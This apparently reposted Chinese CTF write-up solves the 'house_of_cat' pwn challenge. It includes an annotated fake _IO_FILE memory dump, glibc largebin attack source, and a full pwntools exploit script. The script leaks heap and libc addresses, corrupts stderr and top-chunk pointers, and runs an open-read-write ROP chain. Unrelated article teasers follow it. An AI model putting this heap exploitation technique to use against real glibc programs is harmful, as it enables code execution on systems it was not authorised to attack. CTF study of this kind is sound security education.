0x556d2583bb20: 0x0000000000000000      0x0000000000000000
0x556d2583bb30: 0x0000000000000000      0x0000000000000000		//_wide_data结构体
0x556d2583bb40: 0x0000000000000001      0x0000000000000000		//_IO_read_base  _IO_write_base
0x556d2583bb50: 0x0000556d2583bbb0      0x00007fbfae469a6d		//_IO_write_ptr  call_addr
0x556d2583bb60: 0x0000000000000000      0x0000000000000000		//			_chain
0x556d2583bb70: 0x0000000000000000      0x0000000000000000
0x556d2583bb80: 0x0000000000000000      0x0000556d2583c000		//			_lock
0x556d2583bb90: 0x0000000000000000      0x0000000000000000
0x556d2583bba0: 0x0000556d2583bb30      0x0000000000000000		//_wide_data指针
0x556d2583bbb0: 0x0000000000000000      0x0000000000000000
0x556d2583bbc0: 0x0000000000000000      0x0000000000000000		//_mode
0x556d2583bbd0: 0x0000000000000000      0x00007fbfae62c0d0		//			vtable
0x556d2583bbe0: 0x0000000000000000      0x0000000000000000
0x556d2583bbf0: 0x0000000000000000      0x0000000000000000
0x556d2583bc00: 0x0000000000000000      0x0000000000000000
0x556d2583bc10: 0x0000556d2583bb40      0x0000556d2583c7d0		//rax(跳板)	flag_addr(rdi)
0x556d2583bc20: 0x0000000000000000      0x0000000000000000
0x556d2583bc30: 0x0000000000000000      0x0000000000000000
0x556d2583bc40: 0x0000000000000000      0x0000000000000000
0x556d2583bc50: 0x0000556d2583d050      0x00007fbfae43fcd6		//rsp(rop)  ret(ret_addr)
0x556d2583bc60: 0x0000000000000000      0x0000000000000000

Largebin attack攻击(高版本):

 else
       {
         victim_index = largebin_index (size);
         bck = bin_at (av, victim_index);//bck = libc_addr
         fwd = bck->fd;//fwd = largebin

         /* maintain large bins in sorted order */
         if (fwd != bck)
           {...
             if ((unsigned long) (size)
   < (unsigned long) chunksize_nomask (bck->bk))
               {
                 fwd = bck;//fwd = libc_addr
                 bck = bck->bk;//bck = largebin

                 victim->fd_nextsize = fwd->fd;//chunk+0x10 = largebin
                 victim->bk_nextsize = fwd->fd->bk_nextsize;//heap_addr+0x18 = target_addr(largebin+0x18)
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//largebin->bk_nextsize = target_addr->fd_nextsize = heap_addr
               }
             else
               {...
               }
           }...
       }

     mark_bin (av, victim_index);
     victim->bk = bck;
     victim->fd = fwd;
     fwd->bk = victim;
     bck->fd = victim;

exp如下:(参考了wp的方式

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './house_of_cat'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

login = lambda : r.sendafter("mew~~~~~~\n",b'LOGIN | r00t QWBQWXF admin')
cat   = lambda : r.sendafter("mew~~~~~~\n",b'CAT | r00t QWBQWXF $\xff')
def add(index,size=0x418,payload=b'/bin/sh\x00'):
    cat()
    r.sendlineafter("cat choice:\n",'1')
    r.sendlineafter("cat idx:\n",str(index))
    r.sendlineafter("cat size:\n",str(size))
    r.sendafter("content:\n",payload)

def delete(index):
    cat()
    r.sendlineafter("cat choice:\n",'2')
    r.sendlineafter("cat idx:\n",str(index))

def show(index):
    cat()
    r.sendlineafter("cat choice:\n",'3')
    r.sendlineafter("cat idx:\n",str(index))

def edit(index,payload):
    cat()
    r.sendlineafter("cat choice:\n",'4')
    r.sendlineafter("cat idx:\n",str(index))
    r.sendlineafter("content:\n",payload)

def pwndbg():
    gdb.attach(r)
    pause()

login()
add(0,0x420)
add(1,0x430)
add(2,0x418)
delete(0)
add(3,0x440)# 将0_chunk放入largebin之中,从而泄露heap与libc地址
show(0)
r.recvuntil("Context:\n")
libc_base = u64(r.recv(8))-0x21A0D0
heap_base = u64(r.recv(16)[8:])-0x290

pop_rax_ret     = libc_base+0x0000000000045eb0
pop_rdi_ret     = libc_base+0x000000000002a3e5
pop_rsi_ret     = libc_base+0x000000000002be51
pop_rdx_r12_ret = libc_base+0x000000000011f497
stderr_addr     = libc_base+0x21a860
setcontext_addr = libc_base+0x53A30
read_addr       = libc_base+0x114980
write_addr      = libc_base+0x114A20
close_addr      = libc_base+0x115100
syscall         = libc_base+0x91396
ret             = libc_base+0x0000000000029cd6

ioaddr=heap_base+0xb00
fake_io_addr  = heap_base+0xb00# fake_IO_FILE缺少0x10头部
fake_IO_FILE  = p64(0)*6#  伪造的_wide_data结构体
fake_IO_FILE += p64(1)+p64(0)#  
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE += p64(setcontext_addr+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE  = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE  = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE  = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE  = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE  = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
flagaddr      = heap_base+0x17d0

payload1 = fake_IO_FILE+p64(flagaddr)+p64(0)*6+p64(heap_base+0x2050)+p64(ret)

delete(2)
add(6,0x418,payload1)
delete(6)
#===============largebin attack stderr pointer===============
edit(0,p64(libc_base+0x21A0D0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(5,0x440)
add(7,0x430,b'flag\x00')
add(8,0x430)
#===============ROP===============
payload2 = flat([
    pop_rdi_ret,0,close_addr,
    pop_rdi_ret,flagaddr,pop_rsi_ret,0,pop_rax_ret,2,syscall,
    pop_rdi_ret,0,pop_rsi_ret,flagaddr,pop_rdx_r12_ret,0x50,0,read_addr,
    pop_rdi_ret,1,write_addr
])
add(9,0x430,payload2)
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
#===============largebin attack top_chunk->size===============
edit(5,p64(0x21A0E0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))

success(hex(libc_base))
success(hex(heap_base))
#gdb.attach(r)
cat()
r.sendlineafter("cat choice:\n",'1')
r.sendlineafter("cat idx:\n",str(11))
pwndbg()
r.sendlineafter("cat size:\n",str(0x450))


r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/340106.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

进程间通信(上)

进程间通信&#xff08;上&#xff09;背景进程间通信目的进程间通信发展进程间通信分类管道什么是管道匿名管道实例代码简单的匿名管道实现一个父进程控制单个子进程完成指定任务父进程控制一批子进程完成任务&#xff08;进程池&#xff09;用fork来共享管道站在文件描述符角…

C++:类和对象(中)

文章目录1 类的6个默认成员函数2 构造函数2.1 概念2.2 特性3 析构函数3.1 概念3.2 特性4 拷贝构造函数4.1 概念4.2 特性5 赋值运算符重载5.1 运算符重载5.2 赋值运算符重载5.3 前置重载和后置重载6 日期类的实现7 const成员8 取地址及const取地址操作符重载1 类的6个默认成员函…

【C++初阶】十三、模板进阶(总)|非类型模板参数|模板的特化|模板分离编译|模板总结(优缺点)

目录 一、非类型模板参数 二、模板的特化 2.1 模板特化概念 2.2 函数模板特化 2.3 类模板特化 2.3.1 全特化 2.3.2 偏特化 三、模板分离编译 四、模板总结&#xff08;优缺点&#xff09; 前言&#xff1a;之前模板初阶并没有把 C模板讲完&#xff0c;因为当时没有接触…

Java——聊聊JUC中的原子变量类

文章目录&#xff1a; 1.什么是原子变量类&#xff1f; 2.AtomicInteger&#xff08;基本类型原子变量类&#xff09; 3.AtomicIntegerArray&#xff08;数组类型原子变量类&#xff09; 4.AtomicMarkableReference&#xff08;引用类型原子变量类&#xff09; 5.AtomicInteger…

二叉树OJ题(上)

✅每日一练&#xff1a;100. 相同的树 - 力扣&#xff08;LeetCode&#xff09; 题目的意思是俩棵树的结构不仅要相同&#xff0c;而且每个节点的值还要相同&#xff0c;如果满足上面2个条件&#xff0c;则成立&#xff01; 解题思路&#xff1a; 从三个方面去考虑&#xff1…

分布式之分布式事务V2

写在前面 本文一起来看下分布式环境下的事务问题&#xff0c;即我们经常听到的分布式事务问题。想要解决分布式事务问题&#xff0c;需要使用到分布式事务相关的协议&#xff0c;主要有2PC即两阶段提交协议&#xff0c;TCC&#xff08;try-confirm-cancel&#xff09;&#xf…

FPGA产业发展现状及人才培养研究报告

文章目录一、FPGA赋能智能时代二、FPGA市场现状及挑战2.1 FPGA市场发展现状2.2 FPGA主要应用场景2.3 人才问题成为FPGA发展的桎梏三、FPGA人才需求与人才培养3.1 FPGA人才需求特征3.2 FPGA人才培养现状3.2.1 培养主体3.2.2 培养机制3.2.3 培养人才的目的和宗旨3.2.4 FPGA人才培…

【C++】六个默认成员函数——取地址重载,const成员函数

&#x1f345; 初始化和清理 拷贝复制 目录 ☃️1.取地址重载 ☃️2.const取地址操作符重载 这两个运算符一般不需要重载&#xff0c;使用编译器生成的默认取地址的重载即可&#xff0c;只有特殊情况&#xff0c;才需要重载&#xff0c;比如想让别人获取到指定的内容&#xf…

计算机网络3:HTTP1.0和HTTP1.1的区别

目录1. HTTP是什么2.HTTP1.0和HTTP1.1的区别3.名词解释&#xff08;1&#xff09;If-Modified-Since&#xff08;IMS&#xff09;、Expires&#xff08;2&#xff09;If-None-Match&#xff0c;Etag&#xff08;3&#xff09;If-Unmodified-Since1. HTTP是什么 超文本传输协议…

2023全新SF授权系统源码 V3.7全开源无加密版本,亲测可用

2023全新SF授权系统源码 V3.7全开源无加密版本。网站搭建很简单&#xff0c;大致看来一下应该域名解析后上传源码解压&#xff0c;访问域名/install就能直接安装。 程序功能简介: 1.盗版入库(26种) 2.快捷登录 3.采用layuiadmin框架 4.易支付认证功能 5.程序自带商城系统…

SSO(单点登陆)

Single Sign On 一处登陆、处处可用 0、前置概念&#xff1a; 1&#xff09;、单点登录业务介绍 早期单一服务器&#xff0c;用户认证。 缺点&#xff1a;单点性能压力&#xff0c;无法扩展 分布式&#xff0c; SSO(single sign on)模式 解决 &#xff1a; 用户身份信息独…

微信小程序Springboot vue停车场车位管理系统

系统分为用户和管理员两个角色 用户的主要功能有&#xff1a; 1.用户注册和登陆系统 2.用户查看系统的公告信息 3.用户查看车位信息&#xff0c;在线预约车位 4.用户交流论坛&#xff0c;发布交流信息&#xff0c;在线评论 5.用户查看地图信息&#xff0c;在线导航 6.用户查看个…

Win11自定义电脑右下角时间显示格式

Win11自定义电脑右下角时间显示格式 一、进入附加设置菜单 1、进入控制面板&#xff0c;选择日期和时间 2、选择修改日期和时间 3、选择修改日历设置 4、选择附加设置 二、自定义时间显示出秒 1、在选项卡中&#xff0c;选时间选项卡 2、在Short time的输入框中输入H:m…

家政服务小程序实战教程04-页面传参及表单容器

我们在上一篇已经介绍了在生命周期函数中预加载会员信息&#xff0c;首次使用小程序的用户需要进行注册&#xff0c;注册的时候需要选择对应的角色&#xff0c;本篇我们就介绍会员注册的功能。 01 创建页面 会员注册&#xff0c;我们分两个页面&#xff0c;一个是角色选择页面…

VSCode Markdown写作引入符合规范的参考文献

Markdown可以用来写论文&#xff0c;写论文的时候无一例外要用到参考文献&#xff0c;今天来谈谈怎么自动生成参考文献。之前讲了怎么导出的pdf&#xff0c;文章在这里 VSCode vscode-pandoc插件将中文Markdown转换为好看的pdf文档&#xff08;使用eisvogel模板&#xff09; …

CMake中target_precompile_headers的使用

CMake中的target_precompile_headers命令用于添加要预编译的头文件列表&#xff0c;其格式如下&#xff1a; target_precompile_headers(<target><INTERFACE|PUBLIC|PRIVATE> [header1...][<INTERFACE|PUBLIC|PRIVATE> [header2...] ...]) # 1 target_preco…

select 与 where、group by、order by、limit 子句执行优先级比较

当 select 和 其他三种语句的一者或者多者同时出现时&#xff0c;他们之间是存在执行先后顺序的。 他们的优先级顺序是&#xff1a;where > group by > select > order by > limit 目录 1、select 与 where 2、group by 与 where 、select 2、select 与 order…

【Call for papers】CRYPTO-2023(CCF-A/网络与信息安全/2023年2月16日截稿)

Crypto 2023 will take place in Santa Barbara, USA on August 19-24, 2023. Crypto 2023 is organized by the International Association for Cryptologic Research (IACR). The proceedings will be published by Springer in the LNCS series. 文章目录1.会议信息2.时间节…

C++定位new用法及注意事项

使用定位new创建对象&#xff0c;显式调用析构函数是必须的&#xff0c;这是析构函数必须被显式调用的少数情形之一&#xff01;&#xff0c; 另有一点&#xff01;&#xff01;&#xff01;析构函数的调用必须与对象的构造顺序相反&#xff01;切记&#xff01;&#xff01;&a…

分步骤详解随机生成一个登录验证码的算法,最后给出完整代码

需要安装第三方模块pillow import randomfrom PIL import Image, ImageDraw, ImageFont步骤一&#xff1a;编写一个生成随机颜色的函数 def get_random_color():return random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)步骤二&#xff1a;在面板里放…